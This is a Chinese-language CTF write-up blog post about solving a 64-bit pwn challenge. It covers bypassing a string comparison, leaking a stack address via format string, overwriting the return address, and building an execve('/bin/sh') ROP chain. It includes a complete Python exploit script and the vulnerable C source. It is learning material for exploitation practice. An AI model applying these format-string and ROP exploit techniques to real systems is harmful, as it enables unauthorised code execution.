CTF-浅尝64位栈溢出PWN

时间:2022-10-23 15:32:52

干了一早上终于把这道’难题’做出来了,实在是不容易。头一次完完全全的做出64位的pwn题,如果就栈溢出来说的话,其实感觉和32位的也差不多。至少这方面没有遇到太大的困难,做64位的题对汇编指令的要求就更高了。正好一边做题,一边多学点汇编。
收获是很大的。


正文

刚开始被一个逻辑漏洞cmp给卡着,一直没有跳到真正产生漏洞的地方,好不容易跳过去了,结果被我自己坑了(写脚本的时候,没有考虑缓冲区的影响,经常得不到自己想要的结果)。。几经周折终于调试正确。剩下的就是构造rop链,由于是静态编译,这一点也没什么难度,只要知道syscall对应的中断号和参数即可。
最后跌跌撞撞总算是get shell了。
在这里还是和大家分享一下,那些年我所犯下的错。
习惯性的检查。
CTF-浅尝64位栈溢出PWN
开了栈保护,那就很难去通过栈溢出覆盖返回值了。
自己运行一下程序也没什么特别之处。
IDA看看,是个静态编译的程序
。。这里有小技巧,如果不说下可能还真不知道。有时候IDA没有把这段代码识别为一个函数,我们可以手动右键create function(忘记截图。尬),之后再反汇编。(我自己都给忘了,直接看汇编给整出来的。汗!)
CTF-浅尝64位栈溢出PWN
反汇编之后这个逻辑就比较明显了,通过一个cmp我们进入到game这个函数
CTF-浅尝64位栈溢出PWN
再看看formatformat都是什么
这两个都在data段,并且可写。大概就是怎么写,写什么的问题了
漏洞大概找到了。接下来就是调试阶段。比较痛苦~!
先想办法把cmp给绕过。
CTF-浅尝64位栈溢出PWN
我们先照着逻辑写一下。可以知道rdi是第一个参数,rsi是第二个参数。
有关64位怎么传参可以参考这篇文章

http://www.linuxidc.com/Linux/2013-09/90063.htm

再看看此时寄存器的值。咦不对。进到cmp里面看看。
CTF-浅尝64位栈溢出PWN
这个才是真正的cmp函数,此时寄存器的值才是真正的参数。
CTF-浅尝64位栈溢出PWN
只需要使相应的值为’\x00’即可。我建议是多看看汇编,这就不用猜了,直接算偏移量。
CTF-浅尝64位栈溢出PWN
正确的结果是ZF为1。这是个零位标志寄存器。
有关标志位寄存器,可以参考下这篇文章。

http://blog.sina.com.cn/s/blog_87c063060101bcwt.html

第一步完成了!但还远没有结束!

CTF-浅尝64位栈溢出PWN
CTF-浅尝64位栈溢出PWN
通过这个getstr可以写入0x28个字节,观察下发现,可以将s修改为format的地址。这就可以通过memcpy将数据copy到format中去了,别问我怎么知道的,实在是无法解释的太细,自己把这段代码都看看就知道了。
CTF-浅尝64位栈溢出PWN
这是getstr函数,它会将字符串结尾的后一个字符置为’\x00’
所以我们在输入的时候就会发现
未输入:
CTF-浅尝64位栈溢出PWN
输入之后:
CTF-浅尝64位栈溢出PWN
发现不同了吗??
当时被这给坑的丫,不要不要的。这就会直接导致memcpy的位置不正确。
Format之后的一个字节变成了’\x00’,这可不是我想要的,那怎么办?
我是这么解决的。

payload='1'*0x20+l64(0x6C1080)
payload=payload[0:38]           #zhe shi yi ge ken dian
io.writeline(payload)

我就只输入38个字节,反正也没影响,这就刚好避免了。
问题解决!
通过第一个printf泄露stack地址
通过第二个printf修改返回地址。接下来就是构造rop链。
有关64位系统调用可以参考这篇文章。

http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

简单说一下吧。
由于两个format之间只差0x80个字节,因此我们也只有这么大的空间去构造rop链,所以有的没什么必要的参数可以不用构造。
最后getshell。
CTF-浅尝64位栈溢出PWN

写在最后:咦~怎么有个栈保护呢,(这我好像还真没注意,不过对的栈溢出没有什么影响)
哦!对了,这题应该不能算是个栈溢出,我们向其中写的数据是它所允许的长度,最后是通过格式化字符串来修改返回值的,因此可以绕过栈保护。一道题可以有多个漏洞,我们要尽量的将漏洞找齐了。
心得体会:从早上8点一直到13:30,做了将近6个小时,第一次做64位的题确实有点不适应,每个地址都这么长,眼睛都看晕了,今天确实收获很多,也是头一次完全看汇编做的题,学到了很多。
路还长~加油!

from zio import *
import struct
import time
target = ('127.0.0.1', 10000)
#target=('218.2.197.235', 20334)
io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
c2=raw_input("go?")
io.read_until('play a game')
format1='%7$ld'+'\x00'+'1'*2                #format
#rop
#format1+=l64(0x400867) #pop rdi rbp
#format1+=l64(0x1)
#format1+=l64(0x0)
#format1+=l64(0x47504A) #pop rax
#format1+=l64(0x0) 
format1+=l64(0x437699)    #pop rdx rsi
format1+=l64(0x10) 
format1+=l64(0x6C2D40)  #bss
format1+=l64(0x437697)  #syscall pop rdx rsi
format1+=l64(0x0)
format1+=l64(0x0)
format1+=l64(0x47504A)  #pop rax
format1+=l64(0x3b)
format1+=l64(0x400867) #pop rdi rbp
format1+=l64(0x6C2D40)
format1+=l64(0x0)
format1+=l64(0x437697)  #syscall
format1+=l64(0x0)
format1+=l64(0x0)
format1+=l64(0x0)
format1+='%'+str(0x493)+'d'+'%8$hn'+'a'*25+'\x00' #format1 pop r12 ret
index=len(format1)
payload=format1
payload+='1'*(0x1f4-index)+'\x00'       
payload+='1'*(0x400-0x1f4)
io.writeline(payload)
c2=raw_input('go?')
io.read_until('oh,where are you come from?')
payload='1'*0x20+l64(0x6C1080)
payload=payload[0:38]           #zhe shi yi ge ken dian
io.writeline(payload)
io.read_until('I know!')
test=io.read(16)
stack=int(test,10)
ret=stack-0x8
print hex(ret)
payload=l64(ret)+'a'*0x8
io.writeline(payload)
c2=raw_input('go?')
io.writeline('/bin/sh\x00')
io.interact()

一不小心找到了源码,大家可以看下。可能我之前有个地方解释错了额(getstr())

#include<stdio.h>
#include<string.h>
char formt[100]="hahaha,come to hurt by ourselves!!!";
char formt1[100]="bye bye!!";
char s[2000]={0};
void getstr(char *s,int index);
void game(char *name);
int cmp(char *a,char *b);
int main()
{char name[1032];
name[1024]='\x0a';
name[1025]='\x0a';
name[1026]='\x0a';
name[1027]='\x0a';
name[1028]='\x0a';
name[1029]='\x0a';
name[1030]='\x0a';
name[1031]='\0';
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
printf("hey,xman!\n");
printf("let's play a game\n");
getstr(name,1026);
if(cmp(&name[1025],name)==0)
{printf("you made it!!!\n"); 
 printf("now!,let's begin\n");
 game(name);}
else {printf("0h,you lose it!\n");exit(0);}
exit(0);}



void game(char *name)
{char test[40];
long int buf[6];
buf[4]=(long int)s;
buf[5]=(long int)name;

printf("oh,where are you come from?\n");
getstr((char *)buf,40);
memcpy((char *)buf[4],(char *)buf[5],256);
printf("I know!\n");
printf(formt);
getstr((char *)buf,32);
printf(formt1);
}


void getstr(char *s,int index)
{int i=0;
for(;i<index;i++)
{scanf("%c",&s[i]);
 if(s[i]=='\n'||(s[i]=='h'&&s[i-1]=='s'))
     break;}
s[i]='\0';
 }

int cmp(char *a,char *b)
{return strcmp(a,&b[500]);}